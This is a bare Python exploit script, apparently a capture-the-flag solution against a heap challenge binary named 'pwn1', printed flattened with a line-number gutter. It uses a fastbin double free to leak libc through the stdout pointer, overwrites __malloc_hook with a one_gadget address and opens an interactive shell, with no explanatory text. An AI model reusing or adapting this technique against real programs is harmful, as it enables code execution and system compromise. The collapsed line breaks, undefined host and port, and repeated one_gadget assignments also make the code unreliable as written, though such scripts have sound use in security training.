1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
|
from PwnContext.core import * local = True
exe = './' + 'pwn1' elf = context.binary = ELF(exe)
ctx.binary = exe libc = args.LIBC or 'libc.so.6' ctx.debug_remote_libc = True ctx.remote_libc = libc if local: context.log_level = 'debug' io = ctx.start() libc = ELF(libc) else: libc = ELF(libc) io = remote(host,port)
def add(size, name, level): io.sendlineafter("Your choice : ", "1") io.sendlineafter("Length of the name :", str(size)) io.sendlineafter("The name of this life :", name) io.sendlineafter("The level of this life (High/Low) :", level)
def show(): io.sendlineafter("Your choice : ", "2")
def delete(idx): io.sendlineafter("Your choice : ", "3") io.sendlineafter("Which life do you want to remove: ", str(idx))
def destroy(): io.sendlineafter("Your choice : ", "4")
def exit(): io.sendlineafter("Your choice : ", "5")
def exp(): ptr = 0x00000000006020E0-0x20-0x30-0x6 add(0x30, "a", "0") add(0x30, "b", "1") delete(0) delete(1) delete(0) add(0x30, p64(ptr), '2') add(0x30, 'a', '3') add(0x30, 'a', '4') add(0x30, 'a'*0x20 + 'b'*5 , '5') show() io.recvuntil("bbbbb") stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00')) stdout_addr = hex(stdout_addr)[:-2] stdout_addr = int(stdout_addr, 16) io.success("stdout_addr: 0x%x" % stdout_addr) libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_'] realloc_addr = libc_base + libc.symbols['__libc_realloc'] one_gadget = libc_base + 0x45216 one_gadget = libc_base + 0x4526a one_gadget = libc_base + 0xf02a4 one_gadget = libc_base + 0xf1147 malloc_hook = libc_base + libc.symbols['__malloc_hook'] ptr = malloc_hook-0x20-0x3 add(0x60, "a", "6") add(0x60, "b", "7") delete(6) delete(7) delete(6) add(0x60, p64(ptr), '8') add(0x60, 'a', '9') add(0x60, 'a', '10') add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6') io.success("malloc_hook: 0x%x" % malloc_hook) io.success("libc_base: 0x%x" % libc_base ) io.success("one_gadget: 0x%x" % one_gadget) delete(2) delete(2) ''' '''
if __name__ == '__main__': exp() io.interactive()
|